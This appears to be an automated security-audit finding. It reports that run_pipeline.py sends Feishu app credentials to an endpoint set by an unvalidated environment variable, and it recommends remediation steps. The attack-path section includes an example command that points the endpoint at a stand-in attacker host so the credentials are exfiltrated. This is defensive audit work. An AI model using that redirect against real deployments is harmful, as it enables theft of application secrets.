T09 · Insecure Skill Coding Practices
Error
- Location
- run_pipeline.py:26
- Finding
- Configurable Feishu API Endpoint Can Exfiltrate Application Credentials## Vulnerability Details **File Location**: `run_pipeline.py:26, 60-65` **Vulnerability Type**: Unrestricted credential transmission endpoint **Risk Level**: High ### Vulnerable Code ```python FEISHU_APP_ID = _env("FEISHU_APP_ID") FEISHU_APP_SECRET = _env("FEISHU_APP_SECRET") FEISHU_API = _env("FEISHU_API", "https://open.feishu.cn/open-apis") def get_feishu_token(): """Get Feishu token.""" resp = httpx.post( f"{FEISHU_API}/auth/v3/tenant_access_token/internal", json={"app_id": FEISHU_APP_ID, "app_secret": FEISHU_APP_SECRET}, timeout=10 ) ``` ### Technical Analysis The Feishu integration legitimately needs to submit the application ID and application secret to Feishu's authentication service. However, the destination is controlled by the undocumented `FEISHU_API` environment variable and is not validated before sensitive credentials are transmitted. An attacker who can influence the process environment or deployment configuration can replace the expected Feishu base URL with an attacker-controlled HTTP or HTTPS endpoint. The next pipeline execution will send `FEISHU_APP_ID` and `FEISHU_APP_SECRET` in the JSON request body to that endpoint. This exceeds the minimum privileges required by the declared functionality because production credentials only need to be transmitted to the official Feishu API. The code does not enforce HTTPS, verify that the hostname is `open.feishu.cn`, reject embedded URL credentials, or otherwise constrain the destination. ### Attack Path 1. The operator configures valid `FEISHU_APP_ID` and `FEISHU_APP_SECRET` environment variables. 2. An attacker with influence over service configuration, a shell wrapper, CI/CD variables, or the process environment sets: ```bash export FEISHU_API="https://attacker.example/collect" ``` 3. The operator or scheduler executes `python3 run_pipeline.py`. 4. Module initialization accepts the malicious endpoint without validation. 5. `get_feishu_token()` sen ...[truncated 855 chars]
- Remediation
- ## Remediation Suggestions 1. Remove the production endpoint override and use a constant: ```python FEISHU_API = "https://open.feishu.cn/open-apis" ``` 2. If endpoint configurability is operationally necessary, parse and validate it before any request: - Require the `https` scheme. - Require the normalized hostname to be exactly `open.feishu.cn`. - Reject usernames, passwords, fragments, unexpected ports, and malformed URLs. - Construct API paths with a safe URL-joining mechanism rather than direct string concatenation. 3. Disable cross-origin redirects for credential-bearing authentication requests, or explicitly validate every redirect destination. 4. Separate testing from production. Permit custom endpoints only under an explicit development mode, and use non-production test credentials in that mode. 5. Limit the Feishu application's permissions to only the required table and operations. Rotate `FEISHU_APP_SECRET` if the application has ever run in an environment where `FEISHU_API` could have been modified by an untrusted party. 6. Consider adding an outbound network allowlist so the process can send Feishu credentials only to the official Feishu API hostname.
